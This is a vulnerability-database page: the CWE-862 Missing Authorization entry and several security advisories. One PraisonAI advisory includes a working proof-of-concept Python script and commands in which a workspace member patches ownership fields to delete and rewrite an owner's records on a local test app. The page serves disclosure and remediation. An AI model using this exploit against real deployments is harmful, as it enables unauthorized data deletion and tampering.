Common Weakness Enumeration

CWE-862

Weakness Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Dimensions

  • Behavior-Property: Missing
  • Behavior-Type: Authorization
Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-285 · View CWE-1000
  • Behavior-Property: Improper
ChildOf: CWE-284 · View CWE-1340
  • Behavior-Property: Improper
  • Behavior-Type: Access Control
Modes of introduction
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Operation
Detection methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Notes

Terminology

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

Content history
Submission: CWE Content Team · MITRE · 2011-05-24 · CWE 1.13
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.16

Provided diagram to improve CWE usability

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-02-18 · CWE 2.6

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Modes_of_Introduction, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Alternate_Terms, Observed_Examples

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Observed_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

19894 vulnerabilities reference this CWE, most recent first.

GHSA-C746-WCWC-P482

Vulnerability from github – Published: 2026-08-18 12:31 – Updated: 2026-08-18 12:31
VLAI
Details

Grav API plugin (getgrav/grav-plugin-api) before 1.0.14 contains a missing authorization vulnerability in userPassesAuthorize() (AbstractApiController.php). The function fails to consult the calling request's API key scopes, relying instead on the account's raw super-admin flag and ACL grants. As a result, an authenticated attacker holding a scoped API key minted on a privileged account can bypass their declared scope restrictions to access authorize-gated UI metadata and item definitions (sidebar/menubar/widget items and users-list columns/row-actions/filter-tabs) that their key scope should deny, resulting in information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-75835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T12:19:33Z",
    "severity": "CRITICAL"
  },
  "details": "Grav API plugin (getgrav/grav-plugin-api) before 1.0.14 contains a missing authorization vulnerability in userPassesAuthorize() (AbstractApiController.php). The function fails to consult the calling request\u0027s API key scopes, relying instead on the account\u0027s raw super-admin flag and ACL grants. As a result, an authenticated attacker holding a scoped API key minted on a privileged account can bypass their declared scope restrictions to access authorize-gated UI metadata and item definitions (sidebar/menubar/widget items and users-list columns/row-actions/filter-tabs) that their key scope should deny, resulting in information disclosure.",
  "id": "GHSA-c746-wcwc-p482",
  "modified": "2026-08-18T12:31:22Z",
  "published": "2026-08-18T12:31:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-p57v-xhv3-mf2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75835"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-api-plugin-before-missing-authorization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C75J-45GP-X7MV

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2026-04-01 18:36
VLAI
Details

Missing Authorization vulnerability in WP Swings PDF Generator for WordPress allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PDF Generator for WordPress: from n/a through 1.5.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-58978"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:11Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in WP Swings PDF Generator for WordPress allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PDF Generator for WordPress: from n/a through 1.5.4.",
  "id": "GHSA-c75j-45gp-x7mv",
  "modified": "2026-04-01T18:36:08Z",
  "published": "2025-09-09T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58978"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/pdf-generator-for-wp/vulnerability/wordpress-pdf-generator-for-wordpress-plugin-1-5-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C765-QV4H-JC48

Vulnerability from github – Published: 2026-10-28 18:32 – Updated: 2026-11-02 15:31
VLAI
Details

Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without checking whether they have been approved by an administrator, allowing attackers with Agent/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-117614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-28T17:18:20Z",
    "severity": "HIGH"
  },
  "details": "Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without checking whether they have been approved by an administrator, allowing attackers with Agent/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM.",
  "id": "GHSA-c765-qv4h-jc48",
  "modified": "2026-11-02T15:31:27Z",
  "published": "2026-10-28T18:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-117614"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4123"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C783-VXV2-VFW8

Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-10-10 12:31
VLAI
Details

In JetBrains YouTrack before 2024.3.46677 improper access control allowed users with project update permission to delete applications via API

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-10T11:15:13Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains YouTrack before 2024.3.46677 improper access control allowed users with project update permission to delete applications via API",
  "id": "GHSA-c783-vxv2-vfw8",
  "modified": "2024-10-10T12:31:13Z",
  "published": "2024-10-10T12:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48902"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C78W-2Q4R-68R7

Vulnerability from github – Published: 2026-10-08 22:01 – Updated: 2026-10-08 22:01
VLAI
Summary
PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Details

Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass

Summary

praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.

Technical Details

The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonai_platform/api/deps.py defines require_workspace_member, require_workspace_admin, require_workspace_owner, and require_delete_permission. require_workspace_member only checks that the caller has at least the member role in the workspace, while require_delete_permission allows delete only for workspace admins/owners or the resource owner.

The project update route in src/praisonai-platform/praisonai_platform/api/routes/projects.py defines PATCH /workspaces/{workspace_id}/projects/{project_id} with user: AuthIdentity = Depends(require_workspace_member). It passes title, description, status, lead_type, and lead_id into ProjectService.update. src/praisonai-platform/praisonai_platform/services/project_service.py then writes project.lead_id = lead_id when supplied. The paired project delete route first loads the project and calls require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id). This means an ordinary member can mutate the ownership field that the delete route later trusts.

The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonai_platform/api/routes/issues.py defines PATCH /workspaces/{workspace_id}/issues/{issue_id} with only require_workspace_member, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assignee_id, and project_id. The paired delete route checks resource_owner_id=issue.creator_id. src/praisonai-platform/praisonai_platform/api/routes/agents.py defines PATCH /workspaces/{workspace_id}/agents/{agent_id} with only require_workspace_member and calls AgentService.update to write fields including instructions, runtime_mode, and runtime_config; the paired delete route checks resource_owner_id=agent.owner_id.

The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.

PoV

the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.

Essential excerpt:

direct_delete_project = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    headers=member_headers,
)

patch_project = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    json={
        "title": "Member-controlled project",
        "status": "active",
        "lead_type": "member",
        "lead_id": member_id,
    },
    headers=member_headers,
)

delete_project_after_takeover = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    headers=member_headers,
)

patch_issue = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
    json={"title": "Member rewrote owner issue", "status": "done"},
    headers=member_headers,
)

patch_agent = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
    json={"instructions": "member-controlled instructions", "status": "idle"},
    headers=member_headers,
)

outsider_patch_issue = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
    json={"title": "outsider attempt"},
    headers=outsider_headers,
)

The full PoV script is included in the appendix below as pov_platform_member_update_bypass.py.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json

Decisive current-head output:

{
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "workspace_role": "member",
  "checks": {
    "member_direct_project_delete_before_patch": 403,
    "member_project_patch_lead_to_self": 200,
    "member_project_delete_after_lead_takeover": 204,
    "owner_get_project_after_member_delete": 404,
    "member_issue_patch": 200,
    "owner_observes_member_issue_title": "Member rewrote owner issue",
    "member_issue_delete_after_patch": 403,
    "member_agent_patch": 200,
    "owner_observes_member_agent_instructions": "member-controlled instructions",
    "member_agent_delete_after_patch": 403,
    "non_member_issue_patch": 403
  },
  "vulnerable": true
}

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json

Decisive latest-PyPI output:

{
  "source": "pypi:praisonai-platform==0.1.8",
  "workspace_role": "member",
  "checks": {
    "member_direct_project_delete_before_patch": 403,
    "member_project_patch_lead_to_self": 200,
    "member_project_delete_after_lead_takeover": 204,
    "owner_get_project_after_member_delete": 404,
    "member_issue_patch": 200,
    "owner_observes_member_issue_title": "Member rewrote owner issue",
    "member_issue_delete_after_patch": 403,
    "member_agent_patch": 200,
    "owner_observes_member_agent_instructions": "member-controlled instructions",
    "member_agent_delete_after_patch": 403,
    "non_member_issue_patch": 403
  },
  "vulnerable": true
}

Version sweep excerpt:

praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.

Impact

An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning lead_id through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.

Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L (7.1). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.

Suggested Fix

Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a require_update_permission helper that allows workspace admins/owners and the relevant resource owner only.

For projects, do not let an ordinary member set lead_id on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.

Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project lead_id to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives 403.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner/admin update authorization gap is confirmed in sampled versions 0.1.4, 0.1.6, 0.1.8, and current head. The specific project delete-guard bypass through lead_id reassignment is confirmed in 0.1.6, 0.1.8, and current head. In 0.1.4, direct member deletes already returned 204, so the lead-reassignment chain is masked by a broader older delete issue.

Suggested affected range for the update authorization gap: pypi:praisonai-platform >=0.1.4, <=0.1.8. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project lead_id delete-guard bypass.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with 403, then PATCH succeeds, then DELETE succeeds only after lead_id is reassigned through the update route.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.

GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning 403.

References

  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7
  • https://cwe.mitre.org/data/definitions/862.html
  • https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

=== praisonai-platform 0.1.4 ===
"member_direct_project_delete_before_patch": 204
"member_project_patch_lead_to_self": 404
"member_issue_patch": 200
"member_agent_patch": 200
"member_issue_delete_after_patch": 204
"member_agent_delete_after_patch": 204
"non_member_issue_patch": 403

=== praisonai-platform 0.1.6 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403

=== praisonai-platform 0.1.8 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403

Appendix B - Full PoV Script

Save this as pov_platform_member_update_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform same-workspace member update bypass."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
    body = response.json()
    return body["token"], body["user"]["id"]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        project_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/projects/",
            json={
                "title": "Owner project",
                "description": "Owned by the workspace owner",
                "lead_type": "member",
                "lead_id": owner_id,
            },
            headers=owner_headers,
        )
        project_resp.raise_for_status()
        project_id = project_resp.json()["id"]

        direct_delete_project = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=member_headers,
        )

        patch_project = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            json={
                "title": "Member-controlled project",
                "status": "active",
                "lead_type": "member",
                "lead_id": member_id,
            },
            headers=member_headers,
        )

        delete_project_after_takeover = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=member_headers,
        )
        owner_get_deleted_project = await client.get(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=owner_headers,
        )

        issue_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/",
            json={"title": "Owner issue", "priority": "high"},
            headers=owner_headers,
        )
        issue_resp.raise_for_status()
        issue_id = issue_resp.json()["id"]

        patch_issue = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            json={"title": "Member rewrote owner issue", "status": "done"},
            headers=member_headers,
        )
        owner_get_issue = await client.get(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            headers=owner_headers,
        )
        delete_issue = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            headers=member_headers,
        )

        agent_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/agents/",
            json={"name": "OwnerAgent", "instructions": "owner-only instructions"},
            headers=owner_headers,
        )
        agent_resp.raise_for_status()
        agent_id = agent_resp.json()["id"]

        patch_agent = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            json={"instructions": "member-controlled instructions", "status": "idle"},
            headers=member_headers,
        )
        owner_get_agent = await client.get(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            headers=owner_headers,
        )
        delete_agent = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            headers=member_headers,
        )

        outsider_patch_issue = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            json={"title": "outsider attempt"},
            headers=outsider_headers,
        )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}
    owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}
    patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}

    checks = {
        "member_direct_project_delete_before_patch": direct_delete_project.status_code,
        "member_project_patch_lead_to_self": patch_project.status_code,
        "member_project_delete_after_lead_takeover": delete_project_after_takeover.status_code,
        "owner_get_project_after_member_delete": owner_get_deleted_project.status_code,
        "member_issue_patch": patch_issue.status_code,
        "owner_observes_member_issue_title": owner_issue_body.get("title"),
        "member_issue_delete_after_patch": delete_issue.status_code,
        "member_agent_patch": patch_agent.status_code,
        "owner_observes_member_agent_instructions": owner_agent_body.get("instructions"),
        "member_agent_delete_after_patch": delete_agent.status_code,
        "non_member_issue_patch": outsider_patch_issue.status_code,
    }
    vulnerable = (
        checks["member_direct_project_delete_before_patch"] == 403
        and checks["member_project_patch_lead_to_self"] == 200
        and patch_project_body.get("lead_id") == member_id
        and checks["member_project_delete_after_lead_takeover"] == 204
        and checks["owner_get_project_after_member_delete"] == 404
        and checks["member_issue_patch"] == 200
        and checks["owner_observes_member_issue_title"] == "Member rewrote owner issue"
        and checks["member_issue_delete_after_patch"] == 403
        and checks["member_agent_patch"] == 200
        and checks["owner_observes_member_agent_instructions"] == "member-controlled instructions"
        and checks["member_agent_delete_after_patch"] == 403
        and checks["non_member_issue_patch"] == 403
    )
    return {
        "package": "praisonai-platform",
        "source": _source_id(repo),
        "workspace_role": "member",
        "summary": "A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.",
        "checks": checks,
        "vulnerable": vulnerable,
    }


def _source_id(repo: Path | None) -> str:
    if repo is None:
        import importlib.metadata

        return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
    import subprocess

    rev = subprocess.check_output(
        ["git", "-C", str(repo), "rev-parse", "HEAD"],
        text=True,
    ).strip()
    return f"git:{rev}"


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path)
    parser.add_argument("--json", action="store_true")
    args = parser.parse_args()

    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
    if args.json:
        print(json.dumps(result, indent=2, sort_keys=True))
    else:
        for key, value in result["checks"].items():
            print(f"{key}: {value}")
